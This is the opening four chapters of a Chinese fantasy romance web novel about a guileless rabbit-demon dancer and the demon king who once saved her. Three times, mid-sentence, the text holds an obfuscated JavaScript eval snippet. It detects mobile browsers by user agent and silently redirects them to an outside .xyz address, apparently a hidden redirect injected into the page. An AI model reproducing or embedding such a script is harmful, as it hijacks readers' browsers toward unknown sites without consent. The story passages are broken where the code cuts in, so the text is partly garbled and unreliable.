《反派的兔子是傻白甜》 1. 1 慕蓉道:“公子,有人偷听。” 邬辞砚回头,门半掩着,一个火红色的身影在门口晃动,眼睛直直地盯着这边,动也不动。 这哪里是“偷”听,这分明是光明正大地听。 温兰枝听说她的救命恩人来了茶楼,连舞服都没换就跑来了。酒楼的王婆婆还给了她隐身药,让她可以躲在门口偷看两眼。 嘿嘿嘿,救命恩人也太好看了叭!皮肤白到发光,一丝一毫的瑕疵都没有,就像蛇的鳞片!左边挡眼的头发垂到鼻尖,后面的头发一半被白色的发带扎起来,一半散在后面。 他回过头来,狭长英气的眼睛里带着几分怒意,他站起身,朝着这边来。 越靠越近,越靠越近…… 啊啊啊啊! 温兰枝捂住自己狂跳的心脏,看着他抿直的嘴角突然上挑。 他站定在她面前,垂在右侧的手抬起来。 温兰枝心都要骤停了,她顺着他的手看过去,看到他骨节分明的手从腰间抽出一把短刀,横在自己颈间。 啊啊啊啊啊!连抽刀都这么帅。 慕蓉道:“公子,她应该……不是天上派来的。” 邬辞砚道:“看出来了。” 啊?谁不是天上派来的? 温兰枝愣神,我吗? 刀往温兰枝的颈间又凑近了几分。 温兰枝感觉脖子上凉凉的,一低头,看到了可以照出自己红色大眼仁儿的刀面。 她抬手,在刀背上抚了抚,轻轻摁下去,“恩人,你能看见我?” 恩人就是厉害,果然什么隐身药都逃不过他的眼睛。 邬辞砚指了指自己的右眼,问道:“这是什么?” 温兰枝快答:“眼睛!” 邬辞砚“嗯”了一声,不说话了。 温兰枝脑子转了一下,因为长久地不用,已经生锈了,转动的时候还必须得带动眼珠。 她终于想明白了邬辞砚在说什么,连忙解释道:“不是的,是我有隐身药!” 邬辞砚道:“你和卖假药的关系还挺好。” 温兰枝不好意思地挠挠头,“嘿嘿,她是我老板。” 邬辞砚道:“哦,厉害。” 温兰枝低头,仔细地看了看对着自己的那把刀,好奇问道:“恩人,你为什么把刀背对着我,杀人不是应该把刀锋对准我吗?” 慕蓉:“……姑娘你……找死吗?” 邬辞砚把刀收起来,他对这个妖怪有印象,昨天酒楼里跳舞的。 邬辞砚转身回到房间,温兰枝紧跟着,也往房间走,被慕蓉一个抬手拦住了。 慕蓉道:“姑娘,我们现在有事要说,你要是找公子的话,改日再来吧。” 温兰枝急不可待地问道:“哪日啊?” 慕蓉:“呃……”这就是句客套话罢了。 她没搭话,进房间,把门关上了。 任温兰枝再怎么敲门都敲不开了。 温兰枝一边敲门一边喊道:“恩人,你之前救过我你记得吗?” “六年前,你和那个妖怪打架的时候,我正好在锅里!” “你不记得了吗?是你在他们点火之前把我捞出来了。” “恩人!恩人!” 没人应她。 突然,门被猛地撞开。 “哎呦!”她没刹住,直接摔出去,头在桌角猛地磕了一下。 她抬起头,屋内有矮桌,两个茶盏,两个蒲团,一个窗户,还有她。 她推开窗户,是热闹的街市。 刚才那对男女,消失得无影无踪。 她灰溜溜地从茶馆走出来,茶博士经常看见她,刚才听见她在楼上喊叫,笑眯眯地问道:“怎么样,你恩人理你了吗?” 温兰枝摇头。 “嘿嘿。”茶博士继续嗑瓜子,没说话。 六年前,邬辞砚——那个新上任的妖王,打跑了镇在妖界的守护神,名声大噪,整个妖界就没有不认识他的。 按理说,守护神守护神,守护一方安宁,打跑守护神的,应该是个罪人才是。但妖界的守护神不一样,妖界的守护神是神仙们害怕妖界捣乱,专门在妖界安插的神官,对外说是守护神,说白了就是眼线。 每日搞得人心惶惶,随便说个什么都要被施以天罚,理由就是有“霍乱凡间”的念头。在这种情况下,邬辞砚凭一己之力救天下妖怪于水火,自然是大英雄。 这个大英雄最近不知道为什么,突然来了他们这个不起眼的街市做客,虽然神龙见首不见尾,但运气好的话,还是能看见一点龙身的,所以街上的很多人家都开着窗户,巴望着能看一眼“龙身”。 温兰枝说邬辞砚是她的救命恩人,没人信,但也没人拆穿她,小姑娘想看看大英雄嘛,这有什么。 没想到这个小姑娘竟然自己把这话当真了,给了整日坐在门口的茶博士一两银子,如果看到邬辞砚从这里路过,一定要去告诉她。 茶博士只要看到,就去跟她说,有时候是真看到了,有时候是假看到了,每次一说看到了,温兰枝就赶紧跟着他跑过去,到了地方,茶博士再一拍脑门,“哎呀你看我!又留不住人。” 虽然没留住人,但温兰枝还是会因为感激给他一两银子。 他靠这招从温兰枝那骗了不少钱。 周围人都知道,就温兰枝不知道。 温兰枝像往常那样把一两银子递给他。 茶博士许是有些不好意思,跟她多说了两句:“他走了吗?” 温兰枝闷闷地点头。 茶博士道:“哎呀,许是在周围溜达呢,你去转一转,说不定能找到。” 温兰枝眼睛一亮,觉得茶博士说得有道理,这才刚走,肯定不会走多远的,说不定就在哪个店里坐着呢。 她从北市跑到南市,从西市跑到东市,每家店都跑进去看了,还顺便照顾了几个小妖怪的生意,买了点东西,累得满头大汗,但是什么收获也没有。 她提着东西,气喘吁吁地往回走,天都快黑了。 下次再碰见恩人,不知道是什么时候了。 她刚走进酒楼后门,就被王婆婆揪住了耳朵,“兔崽子,跑哪里去了?好心给你放半天假,你还不回来了?” 温兰枝道:“王婆婆不是说让我多去跟恩人接触接触吗?下次遇到不知道是什么时候了。” 王婆婆气道:“我让你把他带到酒楼来,你带来了吗?” 温兰枝嘀嘀咕咕地道:“没有,他跑了。” 王婆婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083637|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上用劲儿,“嘿!没用!自打你六年前到我手底下来我就说过,你将来没什么出息!如今机会都给你送到眼前了!你还不抓住!真要气死我。” 温兰枝当初是被卖到这里的,王婆婆看她长得好,比隔壁的花魁娘子还美上三分,就留下了。隔壁花魁刚被买下来的时候也才二十两银子,王婆婆买她的时候可是花了二十三两!结果这个兔子跳舞实在是太难看了,扭得僵硬不说,还跟不上节奏,真是把人气死。 这里又不是青楼,跳得不好就去接客。跳得不好,拿不到客人的赏钱,就只有死路一条。 好在,温兰枝光是凭着一张脸,都有人愿意看她。王婆婆就勉为其难地继续给她一张床睡。如今,好不容易有个机会能把她卖出去,卖出去以后,两个人都轻松。但这兔崽子竟然这么不争气,到嘴的鸭子都能给飞了。 温兰枝狡辩道:“我、我我我我也不能上去就让他娶我啊。” 王婆婆道:“你不就是去‘报恩’的吗?不打开天窗说亮话还等着什么?等着他娶了别人,我看你这个‘恩’还怎么报。” 温兰枝道:“报恩就是成亲吗?” 王婆婆道:“你还想怎样?这不就是你的目的吗?” 一个丫鬟走过来,道:“王婆婆,有人要见温姑娘。” “又是他吧。”王婆婆放开温兰枝的耳朵,“不要脸,给那么点钱还想占便宜。当我们家的姑娘都是什么!我去会会他!” 温兰枝知道王婆婆口中的这个“他”是谁。 是那个狐狸精,之前来酒楼看过她跳舞,一眼就看上了。私底下找过王婆婆好多次,想把温兰枝买过去,王婆婆一直没答应。她开的是酒楼不是青楼,如果开了这个先例,以后所有人都来买她家姑娘,都卖出去了,谁来给她的酒楼招揽客人。 除非那人能出一个别人都出不起的价格。 他前天来的时候,王婆婆已经跟他明说了,他觉得一个丫头,不值这么多钱,两个人已经谈崩了,不知道这次又来干嘛。 王婆婆瞪了她一眼,“在这待着!晚上回去再收拾你。” 温兰枝揉着感觉快要被掐掉的耳朵,站在原地一动也不敢动。 王婆婆大步走到后面的茶室,一把掀开帘子,没好气儿地道:“温姑娘病了,公子要见温姑娘还……” 她愣住了。 “哎呦是邬公子啊!”她在心中暗骂一句传话的丫鬟,传话也不传清楚,“您要见温姑娘啊,劳烦稍坐,我这就去给你喊。” “不是什么大事。”邬辞砚准备起身,“既然温姑娘病了,我们改日再来。” “不是不是不是。”王婆婆连忙道,“咳咳……这几日,有位不要脸的,总是来骚扰我们家的姑娘,刚才丫鬟没说清楚,我以为他又来了,准备……咳咳,这样,我陪公子说说话,陈婉,去把温姑娘给我叫来。” “是。”门口的丫鬟道。 王婆婆坐下来,说了好几句话,看邬辞砚不怎么搭理她,就转头看向旁边的慕蓉姑娘。 邬辞砚听到脚步声,抬头,看向门口。 脚步声越来越近,配合着掀帘子的声音,一个穿着红衣服的姑娘走了进来。 邬辞砚挑眉,停住了手上的动作。 又是她。 2. 2 比上午见到的时候憔悴了不少,头上是淤青,脸上是泪痕,手是无处安放的,腿是一瘸一拐的。 邬辞砚冷声开口:“头怎么了?” 温兰枝看到他就高兴,眼里的泪花顷刻消失了,傻笑着答道:“撞到桌子了。” 邬辞砚道:“腿呢?” 温兰枝道:“走太久了,疼。” 邬辞砚道:“哭什么?” 温兰枝道:“回来晚了,被骂了。” 邬辞砚道:“哦。” 王婆婆起身,不好意思地道:“几位慢聊,慢聊。” 温兰枝还傻站在那里,看那个架势,邬辞砚不开口,她是准备在那里站一晚上了。 邬辞砚道:“站着干嘛?” 温兰枝道:“啊?” 邬辞砚停顿片刻,没好气儿地道:“坐!” 温兰枝道:“哦,好。”她跪坐到蒲团上。 邬辞砚道:“不是腿疼吗?” 温兰枝不明白他的意思,看着他。 邬辞砚道:“去搬个椅子来坐。” “哦。”温兰枝撑着矮桌起身,等她起来的时候,慕蓉已经给她把凳子搬过来了。 慕蓉笑呵呵地往她手里塞了一个金镯子,“上午我们确实有要事在身,就先走了,没来得及跟姑娘说一声,当真是抱歉。” 温兰枝把金镯子举到三人眼前:“给我了吗?” 慕蓉道:“是……是啊?” 温兰枝语气都欢快了许多:“谢谢!” 慕蓉道:“这次来是想请姑娘帮个忙。” 温兰枝问道:“什么忙?” 这事儿不好开口,从今天上午的事情来看,邬公子好像还救过这个温姑娘的性命,一旦开口,慕蓉觉得,温兰枝肯定是会答应的。 但这个忙确实不是什么寻常的忙,邬公子也说了,万万不可勉强。 她思索片刻,道:“姑娘若是不愿意,千万不要勉强。” 温兰枝满脸好奇地看着她。 慕蓉道:“姑娘认识山黑吗?” 温兰枝点头。 太认识了,就是那个经常骚扰她的狐狸精。 慕蓉道:“我们公子要问山黑讨一样东西,听说山黑在前面的山庄里,我们第一天来这儿的时候,就去炸了他的庄子,但没见他人,估计早得到消息,跑了。” 温兰枝听完,摇头道:“我也不知道他在哪里。” 慕蓉道:“我们打听到了他的位置,但怕他这次又跑了,所以擒了他的几个部下,找我们的人伪装,混进去。混进去的人说,那山黑根本不回去,只用千里传音和几个心腹保持联络。我们想……” 温兰枝跟听故事一样,身子前倾,整个人都陷进去了,“想什么?” 慕蓉抿了下嘴唇,忍俊不禁。 如果是别人这么问,慕蓉会觉得对方在装傻,大概是不想帮忙,她也就不纠缠了。但今天已经见识过了温姑娘的性子,知道她是真的还没明白。 慕蓉道:“山黑喜欢姑娘,我们想用姑娘当诱饵。不过姑娘放心,有我们的人全程陪护,早已布下天罗地网,只要山黑一出现,立刻就会落入陷阱,绝不会让姑娘有一分一毫的危险。” “好!”温兰枝激动地拍了一下慕蓉的掌心,好像这事儿已经成了一样。 她一双红彤彤的眼睛盯着慕蓉,脸上都是跃跃欲试的神情。 慕蓉笑了一下,“姑娘爽快,姑娘有什么想要的吗?我们一定办到。” 温兰枝看向邬辞砚,道:“我想跟在恩人身边!” 慕蓉噎了一下,看向邬辞砚。 邬辞砚道:“跟着我?做什么。” 温兰枝道:“报恩。” 邬辞砚道:“做完这次的事情,你的恩情就算是还清了。” 虽然邬辞砚不记得她了,但只要温兰枝能帮他抓到山黑,那就是帮了大忙了,绝对够还一次救命之恩了。 温兰枝道:“那不行,我不想用这个方式报恩。” 邬辞砚道:“那你要干什么?” 温兰枝低头,不好意思跟他说。 片刻后,她小声道:“想跟着恩人。” 邬辞砚道:“跟着我做什么?” 温兰枝道:“报恩。” 邬辞砚:“……” 开了眼了,第一次听说,报恩的方式还能自己选。 邬辞砚现在开始怀疑,自己到底有没有救过她。 怎么还能,没恩硬报? 这是大事,邬辞砚不想拿这事逗她,板起脸,严肃道:“姑娘想好了?我不是天天待在妖界的,我有事情,天南海北地跑,你跟着我,我不一定能时时看护住你,你可能因此丧命。” 温兰枝连连点头,看上去很开心。 邬辞砚:“……你不害怕?” 温兰枝摇头,“不害怕!” 邬辞砚一口拒绝:“那也不行!” 此话一出,温兰枝瞬间像蔫儿了的花朵,垂下脑袋,一句话也不说。 邬辞砚道:“我可以帮你赎身,可以给你豪宅,给你钱财,唯独这件事情,不能答应。我也不强求姑娘帮我的忙,确实是难事,姑娘要是不愿意,也没什么。” 温兰枝沉默了很久,两个人僵持着,一直僵持到邬辞砚起身,准备离开的时候,温兰枝终于开口了。 她道:“可以让我跟着恩人一个月吗?” 邬辞砚看着她,不说话。 温兰枝站起来,朝他走几步,走到他面前,伸手,撩开他的头发。 邬辞砚蹙眉,在温兰枝的手就要触碰到他的脸的时候,他抬手,攥住了温兰枝的手腕儿,将她推开。 温兰枝后退两步,道:“您还记得吗?您眼角这个疤,就是救我的时候留下的。” 邬辞砚确实一点印象都没有了,他有时候,都会忘了自己眼角有这个疤,洗脸的时候才想起来。 他退开一步,和温兰枝保持距离,实话实说道:“没有印象了。” 两个人又沉默了一会儿。 慕蓉起身,解围道:“公子这次拿下山黑以后,不是要回去吗?就请温姑娘到宫里做客吧?” 邬辞砚斟酌片刻,道:“行,一个月。还帮你赎身吗?” 温兰枝道:“我自己攒下了赎身的钱。” 和温兰枝交谈了这么久,邬辞砚总觉得哪里怪怪的。 温兰枝不像是智力有问题的傻子,但总是反应慢半拍,呆呆愣愣的,也不像是纯粹的天真烂漫。 温兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083638|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝看他盯着自己看了半天,心里突然紧张起来。 邬辞砚的眼睛离她越来越近,越来越近,伴随着脚步声。温兰枝也情不自禁地跟上他的步调,向前走几步。 邬辞砚突然道:“停!” 温兰枝顿时停住了,两个人几乎贴上,温兰枝仰起头,鼻尖快要碰到他的下巴,温兰枝踮起脚,还是没有碰到。更近了,温兰枝能看到他白皙脸上隐隐约约的鳞片。 好近!温兰枝的心要跳出来了! 邬辞砚抬手,伸出两根指头,悬停在她额心的位置,没有碰到。 他道:“探。” 温兰枝感觉眼睛里有白光闪了一下,闭上眼睛,再睁开时,邬辞砚已经站在距她五步之外的地方了。 他喃喃道:“怪不得。” 他抬脚,大步往外走,掀开帘子,又回过身来,“跟上。” “哦。”温兰枝连忙小跑两步跟上。 慕蓉快走几步,跟到邬辞砚身边,满脸疑惑。 邬辞砚指了指自己的太阳穴,又将手摊开。 慕蓉恍然大悟。 这姑娘缺了一部分神识。 神识是魂魄的一部分,分为两部分,一部分和魂魄相连,缺了就会损伤脑子,变成痴呆,另一部分是记忆,缺了并无大碍,还是能跑能跳能听懂人话。两部分神识互相影响,缺了记忆,就一定会损伤脑子,但损伤的不多;同理,缺了和魂魄相连的部分,就一定会损伤记忆,也是损伤不多。 看温姑娘能跑能跳,能听懂人话的样子,应该是缺少了有关记忆的神识,幸好,对脑子的损伤不是很大。 不过现在问她,神识是什么时候丢的,在哪里丢的,为什么丢的,她肯定也不记得了。神识可以救人的性命,估计是哪些恶人逼出了她的神识去救自己人吧,还怪有良心的,没逼出和魂魄相连的那部分。 邬辞砚从钱袋子里拿出两颗珠子,递给慕蓉,“两颗龙眼睛,给她赎身,应该够了。” 慕蓉拿了一颗,“公子,一颗就绰绰有余了。” 邬辞砚转过头来,语气耐心了许多,“去拿东西。银子、衣裳、首饰,还有你喜欢的东西,都拿全了。” 温兰枝道了一声“好”,提着裙子往楼上走。 “等一下。”邬辞砚叫住她。 “嗯?”温兰枝回过头来。 邬辞砚递给她一个白瓶子,“伤药。” “啊?”温兰枝不理解,给她伤药干嘛。 邬辞砚指了指额头。 温兰枝顺着他指的地方摸了摸自己的额头,已经不流血了,但没结痂,按一下,还是有点疼。 她伸出双手,接过邬辞砚的伤药,“谢谢恩人。” “等会儿!”邬辞砚又叫住她。 温兰枝再次转过头来。 邬辞砚道:“别老恩人恩人的叫,难听。” 温兰枝似懂非懂地点点头,“好的,英雄。” “……” 邬辞砚盯着她看了一会儿,道:“叫邬公子就好。” “好。”温兰枝应道。 两个人相望许久,邬辞砚终于反应过来对面在等什么,百般无奈地道:“去吧。” 温兰枝又应一声“好”,哒哒哒跑上楼去了。 3. 3 温兰枝拿好了东西下来以后,邬辞砚又跟她确认了一遍。 邬辞砚道:“银子,拿了没?” 温兰枝道:“嗯!” 邬辞砚道:“衣裳?” 温兰枝道:“嗯!” 邬辞砚道:“首饰?” 温兰枝道:“嗯!” 邬辞砚道:“喜欢的东西?” 温兰枝道:“嗯!” 邬辞砚还是不放心,上去检查了一下,“屋里东西不是还多着的吗?你不要了?这满地的东西都是什么啊?” 温兰枝和街上的人关系好,既然关系好,那来来往往不得照顾一下人家的生意?再说,别人硬往她手里塞东西,她也拒绝不了,时间长了,她就有了个人傻钱多的名头,谁都能从她手里赚到点钱。你就算是卖馒头,只要夸她两句,她也能买两个。 后来王婆婆觉得她买的东西实在是太多,就给她定了,每次出门只准带一两银子。 温兰枝虽然脑子不灵光,但是她听话,因着她听话,省下了不少钱。 邬辞砚捡起地上堆着的一堆“漂亮”的石头,看了她一眼。 温兰枝道:“您要是喜欢的话,可以都拿去!这个可贵了,一两银子三个。” “嗯……你也知道贵。”邬辞砚起身,“下去吧,小心别摔着。” 没有神识的人,没有记忆,脑子也不灵光,要是再加上一点点善良,那就是别人眼里的大傻子。 想跟着他,大概是因为这些年在这里过得并不好吧,觉得他救了她一次,就能一直救她。 唉,授人以鱼不如授人以渔,邬辞砚想着,与其让她跟着自己混吃等死,不如想办法给她把脑子补好。 记忆什么的他是没办法了,不过只要脑子好使就行,大不了重新开始。 慕蓉回来了,接过温兰枝背上背着的大包,“温姑娘,我帮你背。” “谢谢。”温兰枝侧过头去看她。 几个人大黑天的,走在大街上。慕蓉担心温兰枝害怕,就一直跟在她身边,和她说话。 邬辞砚脚步快,慕蓉也不管,她知道温兰枝走不快,就慢悠悠地陪着她,公子要是着急的话,让公子先过去吧。 邬辞砚走了一阵儿,发现两个人没跟过来,无法,只好走走停停,等着。 慕蓉道:“姑娘叫我慕蓉就好了。” 温兰枝道:“好,那你也叫我兰枝就可以了。” 慕蓉道:“吃过饭了吗?要不要吃点东西?我屋里有点心,等会儿拿来给你。” 温兰枝道:“好,谢谢慕蓉。” 这两天,邬辞砚一直窝在一个小屋子里,一是不想暴露行踪,二是不想在客栈里被人围观,就让慕蓉帮着租下了这个小屋子,平时出去也不走门,总是突然就出现在某个店里或者某个拐角,所以才出现了神龙见首不见尾的说法,其实“龙身”一直就在街道的中央、茶楼的隔壁,推开门就能看见。 温兰枝把东西放在角落,邬辞砚道:“这身儿衣服太惹眼了,换掉。” 温兰枝应了一声,在包袱里翻出一件蓝色的衣服。邬辞砚主动转过身去,给她留出换衣服的空间。 慕蓉拿着点心从里间出来,惊得步子一顿,“我的天呐,你身上怎么了?这些伤……” 邬辞砚闻声转过头来。 温兰枝还没完全脱下衣服,刚撩起一半里衣,露出腰部,白皙光滑如同玉石一般的皮肤上,赫然是刺目的青青紫紫,中间最甚的地方甚至有血色的红砂,似要渗出血迹。 她“啊”了一声,道:“我跳不好舞,婆婆打的。” 慕蓉一脸气愤,道:“这太过分了!” 温兰枝道:“大家都是要被打的,没关系。” 邬辞砚道:“不是给了你伤药吗?用了没?” 温兰枝道:“那个不是抹头的吗?” 说完她自己反应过来了,自问自答道:“哦,也可以抹身体。” 邬辞砚的嘴唇抿成一条直线。 她放下衣服,用左手摸出药瓶,将药粉倒到右手,准备抹药的时候,愣住了,好像突然想起来人只有两个手,没有“前手”和“后手”给她撩衣服。 慕蓉连忙上去给她帮忙,邬辞砚又转过身去了。 慕蓉问道:“疼吗?” 温兰枝道:“嗯,挺疼的。” 慕蓉帮她脱下衣服,发现她背上和腿上也有。 慕蓉道:“当初为什么会选择做舞娘啊?” 温兰枝道:“王婆婆让我做的。当时有个人想把我卖到青楼去,王婆婆救了我,说愿意多出银子买我,然后我就跟着王婆婆了。” 慕蓉在心里对王婆婆的骂声小了点。 她嘀嘀咕咕地劝自己:“确实,跳舞就是要吃苦的,是的,不挨打跳不成的。挨打是正确的。” “挨打不是正确的。”邬辞砚语气有几分不好,“但救女孩是正确的。” 慕蓉心道:这么远都能听见。 她当然知道邬辞砚说得对,她就是心里难受,找个话安慰自己。 温兰枝道:“王婆婆说,不打我们的话,我们赚不到钱,就没有饭吃。” 没人接她的话。 两个人心里都清楚,王婆婆的酒楼就是靠这个吃饭的,虽然打人不对,但她们都没得选,王婆婆指着这些女孩儿吃饭,这些女孩儿也指着王婆婆吃饭,不打不勤奋,不勤奋就没饭吃。谁替她们出头,说挨打不对,肯定会被骂上一句,“那你给她们找饭吃”,出头的人找不到,该挨打还是挨打。 温兰枝跳舞不行,但好在听话,她听话,又能赚点碎银子,王婆婆就愿意给她一张床躺。 慕蓉问道:“诶,我看酒楼里的姑娘都是五六个人一间房,为什么你一人一间啊?” 温兰枝道:“因为有人打我,我去跟王婆婆说,王婆婆说我去哪,哪就最吵,很烦,就把上面那个茶室收拾出来给我了。那个房间冬天最冷了,不过我觉得挺好的,没人打我了……嘿嘿。” 又没人接话了。 慕蓉给她穿好衣服,从包裹里拿了点心出来,“只剩两个了,有点干,等一下,我去给你泡壶茶。” 邬辞砚起身,道:“我出去一下。” 话音刚落,便化作一团云雾,消失了。 慕蓉道:“姑娘莫怪,他经常这样,突然有事就走了。” 温兰枝摇头,嘴里塞着点心,一口接一口,像是饿坏了,“他还回来吗?” 慕蓉好笑道:“肯定回来呀,我们的事情还没办完呢。” 温兰枝道:“慕蓉,你和邬先生是什么关系啊?” 慕蓉道:“朋友。” 慕蓉之前是天上的仙人,三百年前,邬辞砚还是全天庭的通缉犯的时候,他们两个就认识了。那会儿的邬辞砚年轻气盛,在凡间掀起狂风巨浪,要求天庭停止对妖界的迫害,召回驻守在妖界的神官和天兵,并以一己之力杀上天庭,差点屠了天君。 失败后,他就在凡间东躲西藏。慕蓉作为土生土长的仙人,从小受到的教育是众生平等,不能接受这样明晃晃的歧视。她据理力争,却被当成是胡言乱语。 她偷偷支持邬辞砚,帮他通风报信,阻拦天兵天将,听说他要寻找能让人功力大增的芩青果,就帮他打听消息。 后来,她被揭发,被打入凡间,就和邬辞砚断了联系。 再相遇就是六年前,慕蓉找到了芩青果,吃下以后,修为大增,让她有了重新位列仙班的资格。她回去的时候,听说邬辞砚已经重新杀上了天庭,杀了天君。虽然他一句话没说,但再没有哪个神官敢去妖界招惹。 慕蓉问他另一颗芩青果在哪里,他说没找到。 他说,当时,在最后关头,他去天庭认罪了,被关在锁妖塔里,差点死在里面。他吸食了锁妖塔里妖怪的法力,又出来了。因为吸食过多,身体承受不住,差点魂飞魄散,但是不知道为什么,他没死。 慕蓉觉得这是个奇迹。 但邬辞砚说:“不,不是个奇迹,”他清楚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083639|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记着当时拼尽全力从锁妖塔出来是为了做什么,如果不是因为这个执念,他可能真的出不来了。但是现在,他不记得了。 应该是过多的妖力失控,吞噬了脑海里的执念,让他丢失了最重要的东西,也忘了自己是怎么活下来的。 要找回来,可以通过天庭丢失的宝贝——锦玉。 所以他找完了芩青果,又出来找锦玉了。 慕蓉说完,温兰枝已经惊得说不出话来了。 慕蓉正琢磨着说个什么笑话来缓解气氛,突然,屋内云雾缭绕。 邬辞砚出现了,还端着一碗热气腾腾的馄饨。 温兰枝舔了下嘴唇,“好香啊。” 邬辞砚把馄饨放到桌子上,往她那边推了推,“只有这个了。” “给我的?”温兰枝不确定地问道。 邬辞砚点头。 温兰枝早就冻得手都僵了,连忙抱着暖呼呼的碗吃起来。 慕蓉小声道:“你人还怪好的。” 邬辞砚道:“嗯,确实好。” 慕蓉的笑容僵在脸上,这人一点都不谦虚。 次日,再出现在街上,又是温兰枝一个人了。 她想吃街头的烙饼,邬辞砚觉得太招摇了,就没陪她去,慕蓉还没醒,所以温兰枝干脆就一个人去了。买烙饼这种事情她还是能做的,她之前为了吃那个饼经常早起,会多给点钱,让老板给她多放点萝卜碎。 她蹦蹦跳跳的,头上挨了一拳。 她吃痛,但并不惊讶,回过头,果然又是街上那个混混。 她不太懂什么是混混,但别人都跟她说,这人是混混,所以她就知道了。 混混道:“今天带了几个钱呀?” 温兰枝就是再蠢,也知道这是个抢钱的,“我今天不会给你钱的。” 混混不管她嘴上说什么,直接上手去拿她的荷包。 温兰枝还没来得及护住荷包,一个影子闪过,紧接着,她听见旁边的混混大叫一声,跌坐在地。 她看过去,却被一个宽厚的背影挡住了视线。 混混不知道被什么东西打了手,疼得整个手臂都麻了,但又不想失了面子,一个翻腾起来,大喊道:“谁啊!敢打……”等他看清了来人,所有的话都咽进了肚子。 他吞了口口水,想跑。 邬辞砚一把揪住他的衣领,冷声道:“道歉。” 周围的人都围过来,起哄的,拍手叫好的,很快,就把三个人围成一个圈,混混想跑也跑不掉了。 昨晚温兰枝被邬辞砚赎身的事情,已经传遍大街小巷了,本来以为以后都见不到这位姑娘了,没想到大早上起来,就看到了这么一场大戏。 众人猜想,邬辞砚不会是要和温兰枝在这里长住吧。 混混也是能伸能缩,一改刚才的嚣张气焰,跪下来,双手捧着荷包,“温姑娘对不起!我我我我、我不该拿你的荷包!对不起对不起对不起!你原谅我吧!” 温兰枝接过荷包,拍了两下,重新系在腰间。 邬辞砚道:“滚!” 小混混连滚带爬地从人群中挤出去了。 邬辞砚和温兰枝要往前走,众人只好给两个人让路,又怕一直盯着看会被迁怒,没多会儿就躲得远远的,偷偷议论起来。 邬辞砚要往前走,但温兰枝一直站在原地,捏着自己的衣领,不知道在干嘛。 邬辞砚侧头:“怎么?衣服不舒服?” 温兰枝上前两步,扬起胸脯,道:“恩人,你可不可以也揪我的衣领?就像刚才揪那个人一样……恩人!恩人!” 邬辞砚在她说到一半的时候已经抬脚,大步离去了。温兰枝紧赶慢赶才赶上。 温兰枝问道:“邬公子,你来这里,是也想吃烙饼吗?我今天带了挺多钱,可以请你。” 邬辞砚当然不是为着这个来的,不过,也行,便道:“好,你请吧。” 温兰枝道:“要不要给慕蓉买一个?” 邬辞砚道:“你买。” 4. 4 温兰枝从荷包里数了十八个铜钱出来,递给老板,“老板,今天我要三个烙饼!都多加胡萝卜碎。” 邬辞砚看了一眼旁边的招牌,又看了一眼老板手里沉甸甸的铜钱,最后,看向温兰枝,“你不识字?” “嗯?”温兰枝不明白他为什么突然问这个,“认识啊。” 邬辞砚敲了敲近在咫尺的大木头招牌——烙饼,两钱一个。 温兰枝解释道:“哦,是这样!老板说因为我要加胡萝卜碎,所以要多付四个钱。” 老板讪笑着点点头。 邬辞砚道:“什么胡萝卜,比饼都贵?加了一整个进去吗?” “是是是,是加了一整个。”老板连忙道,“两位等着啊,我这就去拿胡萝卜。” 老板拿了三个胡萝卜过来,切了整整三碗胡萝卜碎。 “哇噻!今天有这么多!”温兰枝眼睛都亮了。 邬辞砚道:“往常没有这么多吗?” 温兰枝指了一下面前装胡萝卜碎的碗,道:“往常会多抓一把。不过也很多啦!” 她嘿嘿笑着,看向邬辞砚:“今天是沾了恩人的光了。” 邬辞砚道:“不,是我沾了你的光。” 他把温兰枝推到后面去,语气里带着几分怒色:“多拿了多少,都吐出来。” 老板吓得扔了菜刀,哆嗦道:“没没没没拿多少,温姑娘也没到我这儿吃过几次。” 邬辞砚回头,问道:“喜欢这家店吗?” 温兰枝连连点头。 邬辞砚道:“经常来这吃吗?” 温兰枝道:“嗯!几乎每天都来!” 邬辞砚道:“来了几年?” 温兰枝道:“六年!” 邬辞砚转过头来,看向老板,一字一顿地重复道:“六年来,每天多付四个钱。吐出来!” 老板扑通一声跪到地上,连声求饶:“英雄!英雄!我一下子拿不出那么多钱啊!温姑娘有钱,她是自愿给我的,她喜欢吃我们家的烙饼,她愿意多给我们钱啊!我还有媳妇,还有孩子要养,我没她有钱,她愿意给我的。” 温兰枝垂下眼帘,听上去,她好像被骗了。 连她最喜欢吃的烙饼都骗她。 邬辞砚懒得跟他废话,“她是不是自愿你最清楚,别说没用的,还钱,不然就去报官,这么多年,这么多钱,够让你在里面待几年了。” 